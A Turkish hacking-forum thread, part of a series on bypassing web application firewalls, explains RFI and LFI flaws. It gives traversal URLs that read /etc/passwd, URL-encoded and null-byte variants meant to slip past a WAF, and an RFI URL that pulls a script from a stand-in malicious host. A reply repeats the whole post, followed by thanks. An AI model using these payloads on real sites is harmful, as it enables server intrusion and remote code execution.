Neler yeni

Web Application Firewall(WAF)’ları Bypasslamak -5 (1 Viewer)

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
1*CYdkrdQpiEocLvEWEqaXWA.png


Öncelikle serinin 5 yazısına hoşgeldiniz. Bugun ise RFI ve LFI zaafiyetlerinde WAF Bypass işlemini ve bu zaafiyetlerini nasıl bulabileceğinizi anlatacağım.
Uzatmadan konuya geçelim.

RFI ve LFI Zaafiyetleri
Bu zaafiyetler hedef sunucudaki dinamik dosya dahil etme mekanizmasını kullanarak bir dosyayı sunucu içerisinde oluşturmamıza izin olmadan olanak tanıyan açıklardır. Bu açıklar, kullanıcıyı doğrulayamaması sebebiyle ortaya çıkmışlardır. Bu saldırılar çok ciddi sorunlara yol açabilir. Kısaca değinelim.

* Dosyanın içeriğinin çıktısını alma

İki ana kategori RFI ve LFI’dır. RFI, daha önce söylediğimiz gibi, sunucuda uygulanan dahil etme prosedürlerinden yararlanarak uzak dosyaları dahil etme işlemidir. Örnek olarak, bir sayfanın giriş olarak bir sonraki dosyaya eklenmesi gereken bir dosyanın yolunu aldığını ve bu girişin düzgün bir şekilde sterilize edilmediğini ve harici bir URL’nin eklenmesine izin verdiğini varsayalım.

Öte yandan, LFI, hedeflenen uygulamanın savunmasız dahil etme prosedürlerini kullanarak sunucuda yerel olarak bulunan dosyaları dahil ettiğimiz zamandır. RFI ile benzer şekilde, bir sayfa, bir sonraki sayfaya eklenmesi gereken bir dosyanın yolunu içeren bir girdi aldığında ve bu girdi düzgün bir şekilde sterilize edilmediğinde ve ../ gibi yol geçiş karakterlerinin enjekte edilmesine izin verdiğinde .

Devam etmek için, yol geçişinde söylediğimiz gibi, tüm bu saldırılar için, birçok nedenden dolayı sunucunun çalıştığı işletim sistemini bilmemiz gerekiyor ve bunlardan biri, yol ayırıcının işletim sisteminde değişiyor olmasıdır. En çok kullanılan üç işletim sistemi ve bunların yol ayırıcıları şunlardır:

* Unix core OS — Kök dizini ve ayırıcı: /

* Windows — Kök dizin: sürücü harfi: \, dizin ayırıcı: / veya \

* MacOS — Kök dizin: sürücü harfi:, dizin ayırıcı::

Şimdi böyle bir saldırıyı nasıl gerçekleştirebileceğimizi ve aynı zamanda WAF’ı nasıl atlayabileceğimizi görmek için bazı örnekleri inceleyelim. Şu bağlantıyı ele alalım:

http://website.com/index.php?file=rfi.html

URL’den rfi.html dosyası çağrısından anlayabileceğimiz gibi, bu sitenin bir LFI zafiyetine sahip olması mümkündür. Daha fazla güvenlik yönü görmek için yaygın bir test, öncelikle sunucunun passwd dosyasına gitmektir. Bunu yapmak için aşağıdakileri deneyelim:

http://website.com/index.php?file=../../../../etc/passwd

Bazı durumlarda, bu uygulanacaktır, ancak bu kez bir WAF girdimizi filtreledi. İlk düşünce, bu URL’nin bazı yönlerini kodlamaktır. Örneğin:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd

Tüm eğik çizgileri kodlayarak, WAF’ı başarılı bir şekilde atlamak gerçekten mümkündür ve onu atlıyoruz, ancak bunu sunucuda yürütürken bir sorun yaşıyoruz. Şu kod parçasını ele alalım:

Bu, bu parametreyi işleyen sunucu kodudur ve boş baytlık sonlandırıcılar kullanılarak atlanabilir, çünkü% 00 dizenin sonunu temsil eder ve bu bayttan sonraki karakterler yok sayılır. Bu yüzden aşağıdaki URL’yi çalıştırıyoruz:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd%00

Bu, Resim 6'daki sonuçlara benzeyen temel kullanıcı özelliklerinin listesini döndürür.

0*85q2necXk3w4fp1h.JPG


Son olarak, bir RFI saldırısı için bir kod segmentini inceleyelim:

$ incfile = $ _REQUEST [“dosya”]; include ($ incfile. ”. php”);

Burada, arka uç dosyasından dosya adlarını parametre olarak alan bir PHP kod segmentimiz var. Bunun gibi bir güvenlik açığında, yol HTTP isteğinden çıkarılır ve daha sonra hiçbir giriş doğrulaması yapılmaz, bu nedenle RFI’ye karşı savunmasız kabul edilir. Dolayısıyla, ideal olarak aşağıdaki URL, bunun gibi savunmasız bir web sitesinden yararlanacaktır:

http://website.com/index.php?file=http://malicious-site.com/malicious-script-or-page

Bu durumda, uzak dosya dahil edilecek ve içerdiği herhangi bir kod sunucu tarafından çalıştırılacaktır. Bir kez daha, RFI saldırısında, bir WAF’yi atlayabilmek için saldıran URL’de istek normalleştirme veya kodlama kullanabiliriz. Son olarak, bu, bir WAF’ın güvence altına aldığı ve bunları gerçekleştirmek için bir WAF’ı atlamamız gereken saldırılara dahil edebileceğimiz son saldırı vektörüydü. Bir sonraki ve son yazıda, bazı gerçek pratik örneklerini inceleyeceğiz ve seriyi bitireceğim.

Bu kadar basit ancak son yazıda da gerçek pratiklerden bahsedeğim. Herzaman bu zaafiyet bulunacak diye bir kaide yoktur. Ancak varlığı büyük hasarlara sebep olabilir. Yazımı okuduğunuz için teşekkür ederim. Esen kalın.​
 

Ekli dosyalar

  • 1611744052142.png
    1611744052142.png
    36.1 KB · Görüntüleme: 7
  • 1611744092421.png
    1611744092421.png
    62.4 KB · Görüntüleme: 10

Z3DX 

Forum Efsanesi
onursal
pentester
Mesajlar
381
Credits
40
Eline sağlık dostum
Çok faydalı konu
Devamı gelsin lütfemnnn

Sağolasın devamı gelicek kesinlikle :)
Hocam bu kadarı bana fazla ?
Eline sağlık. Güzel konu.
Hocam çok güzel anlatım yapmışsınız elinize sağlık
Eyvallah çok sağolasınız

Eline Sağlık Brom
Teşekkür ederim üstadlar
Ellerine sağlık
Thankss :)
 

drjacob

✪✪✪✪✪
majorrr
Mesajlar
1,701
Credits
8,071
1*CYdkrdQpiEocLvEWEqaXWA.png


Öncelikle serinin 5 yazısına hoşgeldiniz. Bugun ise RFI ve LFI zaafiyetlerinde WAF Bypass işlemini ve bu zaafiyetlerini nasıl bulabileceğinizi anlatacağım.
Uzatmadan konuya geçelim.

RFI ve LFI Zaafiyetleri
Bu zaafiyetler hedef sunucudaki dinamik dosya dahil etme mekanizmasını kullanarak bir dosyayı sunucu içerisinde oluşturmamıza izin olmadan olanak tanıyan açıklardır. Bu açıklar, kullanıcıyı doğrulayamaması sebebiyle ortaya çıkmışlardır. Bu saldırılar çok ciddi sorunlara yol açabilir. Kısaca değinelim.

* Dosyanın içeriğinin çıktısını alma

İki ana kategori RFI ve LFI’dır. RFI, daha önce söylediğimiz gibi, sunucuda uygulanan dahil etme prosedürlerinden yararlanarak uzak dosyaları dahil etme işlemidir. Örnek olarak, bir sayfanın giriş olarak bir sonraki dosyaya eklenmesi gereken bir dosyanın yolunu aldığını ve bu girişin düzgün bir şekilde sterilize edilmediğini ve harici bir URL’nin eklenmesine izin verdiğini varsayalım.

Öte yandan, LFI, hedeflenen uygulamanın savunmasız dahil etme prosedürlerini kullanarak sunucuda yerel olarak bulunan dosyaları dahil ettiğimiz zamandır. RFI ile benzer şekilde, bir sayfa, bir sonraki sayfaya eklenmesi gereken bir dosyanın yolunu içeren bir girdi aldığında ve bu girdi düzgün bir şekilde sterilize edilmediğinde ve ../ gibi yol geçiş karakterlerinin enjekte edilmesine izin verdiğinde .

Devam etmek için, yol geçişinde söylediğimiz gibi, tüm bu saldırılar için, birçok nedenden dolayı sunucunun çalıştığı işletim sistemini bilmemiz gerekiyor ve bunlardan biri, yol ayırıcının işletim sisteminde değişiyor olmasıdır. En çok kullanılan üç işletim sistemi ve bunların yol ayırıcıları şunlardır:

* Unix core OS — Kök dizini ve ayırıcı: /

* Windows — Kök dizin: sürücü harfi: \, dizin ayırıcı: / veya \

* MacOS — Kök dizin: sürücü harfi:, dizin ayırıcı::

Şimdi böyle bir saldırıyı nasıl gerçekleştirebileceğimizi ve aynı zamanda WAF’ı nasıl atlayabileceğimizi görmek için bazı örnekleri inceleyelim. Şu bağlantıyı ele alalım:

http://website.com/index.php?file=rfi.html

URL’den rfi.html dosyası çağrısından anlayabileceğimiz gibi, bu sitenin bir LFI zafiyetine sahip olması mümkündür. Daha fazla güvenlik yönü görmek için yaygın bir test, öncelikle sunucunun passwd dosyasına gitmektir. Bunu yapmak için aşağıdakileri deneyelim:

http://website.com/index.php?file=../../../../etc/passwd

Bazı durumlarda, bu uygulanacaktır, ancak bu kez bir WAF girdimizi filtreledi. İlk düşünce, bu URL’nin bazı yönlerini kodlamaktır. Örneğin:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd

Tüm eğik çizgileri kodlayarak, WAF’ı başarılı bir şekilde atlamak gerçekten mümkündür ve onu atlıyoruz, ancak bunu sunucuda yürütürken bir sorun yaşıyoruz. Şu kod parçasını ele alalım:

Bu, bu parametreyi işleyen sunucu kodudur ve boş baytlık sonlandırıcılar kullanılarak atlanabilir, çünkü% 00 dizenin sonunu temsil eder ve bu bayttan sonraki karakterler yok sayılır. Bu yüzden aşağıdaki URL’yi çalıştırıyoruz:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd%00

Bu, Resim 6'daki sonuçlara benzeyen temel kullanıcı özelliklerinin listesini döndürür.

0*85q2necXk3w4fp1h.JPG


Son olarak, bir RFI saldırısı için bir kod segmentini inceleyelim:

$ incfile = $ _REQUEST [“dosya”]; include ($ incfile. ”. php”);

Burada, arka uç dosyasından dosya adlarını parametre olarak alan bir PHP kod segmentimiz var. Bunun gibi bir güvenlik açığında, yol HTTP isteğinden çıkarılır ve daha sonra hiçbir giriş doğrulaması yapılmaz, bu nedenle RFI’ye karşı savunmasız kabul edilir. Dolayısıyla, ideal olarak aşağıdaki URL, bunun gibi savunmasız bir web sitesinden yararlanacaktır:

http://website.com/index.php?file=http://malicious-site.com/malicious-script-or-page

Bu durumda, uzak dosya dahil edilecek ve içerdiği herhangi bir kod sunucu tarafından çalıştırılacaktır. Bir kez daha, RFI saldırısında, bir WAF’yi atlayabilmek için saldıran URL’de istek normalleştirme veya kodlama kullanabiliriz. Son olarak, bu, bir WAF’ın güvence altına aldığı ve bunları gerçekleştirmek için bir WAF’ı atlamamız gereken saldırılara dahil edebileceğimiz son saldırı vektörüydü. Bir sonraki ve son yazıda, bazı gerçek pratik örneklerini inceleyeceğiz ve seriyi bitireceğim.

Bu kadar basit ancak son yazıda da gerçek pratiklerden bahsedeğim. Herzaman bu zaafiyet bulunacak diye bir kaide yoktur. Ancak varlığı büyük hasarlara sebep olabilir. Yazımı okuduğunuz için teşekkür ederim. Esen kalın.​
eline sağlık
 

Bu konuyu görüntüleyen kullanıcılar